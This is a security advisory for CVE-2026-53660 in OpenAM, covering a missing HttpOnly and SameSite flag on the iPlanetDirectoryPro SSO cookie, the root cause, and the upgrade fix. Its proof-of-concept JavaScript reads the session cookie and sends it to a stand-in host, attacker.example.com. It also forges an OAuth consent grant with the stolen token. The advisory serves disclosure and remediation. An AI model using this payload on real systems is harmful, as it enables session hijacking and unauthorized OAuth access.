highCVE-2026-53660Aug 14, 2026

CVE-2026-53660: OpenAM Insecure SSO Cookie Initialization (Missing HttpOnly and SameSite)

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

OpenAM shipped its primary SSO cookie without the HttpOnly flag by default, letting any same-origin JavaScript steal authenticated sessions and silently approve attacker-controlled OAuth consent…

Packageorg.openidentityplatform.openam:openam-core
Ecosystemmaven
Affected< 16.1.1
Fixed in16.1.1
CVE-2026-53660: OpenAM Insecure SSO Cookie Initialization (Missing HttpOnly and SameSite)

The problem

The iPlanetDirectoryPro SSO cookie is the master credential for every OpenAM session. In all versions through 16.0.6, the XUI layer set this cookie without HttpOnly=true, meaning browser JavaScript could read it freely.

The cookie also lacked a SameSite attribute entirely. Because OpenAM reused the same cookie as the CSRF token for OAuth/OIDC consent flows, a single same-origin XSS gave an attacker both full session theft and the ability to complete OAuth consent grants on behalf of any authenticated user.

Proof of concept

A working proof-of-concept for CVE-2026-53660 in org.openidentityplatform.openam:openam-core, with the exact payload below.

javascript
// Any same-origin XSS on the OpenAM origin hits this:
var token = document.cookie
  .split('; ')
  .find(c => c.startsWith('iPlanetDirectoryPro='))
  .split('=')[1];

// 1. Exfiltrate session token (session hijack)
new Image().src = 'https://attacker.example.com/steal?t=' + encodeURIComponent(token);

// 2. Complete attacker-driven OAuth consent in same step
// token doubles as the CSRF guard on the consent endpoint
fetch('/openam/oauth2/authorize/consent', {
  method: 'POST',
  credentials: 'include',
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: 'decision=allow&csrf=' + encodeURIComponent(token)
    + '&client_id=attacker-app&scope=openid+profile+email'
});

The root cause is CWE-1188: the XUI set the iPlanetDirectoryPro cookie client-side via JavaScript, which made it structurally impossible to attach HttpOnly (only server Set-Cookie headers can carry that flag). The fix in PR #1036 moved cookie issuance to the server path so the flag is now enforced at the HTTP layer.

The missing SameSite attribute (CWE-1275) compounded the risk by leaving cross-site request vectors open. The CSRF amplification (CWE-614 context) followed from the design choice to reuse the SSO cookie as the consent-flow anti-CSRF token, so stealing the cookie via XSS also handed the attacker a working CSRF bypass for OAuth grant approval in the same payload.

The fix

Upgrade to OpenAM Community Edition 16.1.1. The release adds proper server-side HttpOnly and SameSite handling for the iPlanetDirectoryPro cookie (PR #1036). If an immediate upgrade is not possible, block any user-supplied JavaScript execution paths on the OpenAM origin and set com.sun.identity.cookie.httponly=true in Server Defaults > Advanced as a partial control (note: this property had no effect on XUI-issued cookies before 16.1.1).

Reported by wodzen.

References: [1][2][3]

Related research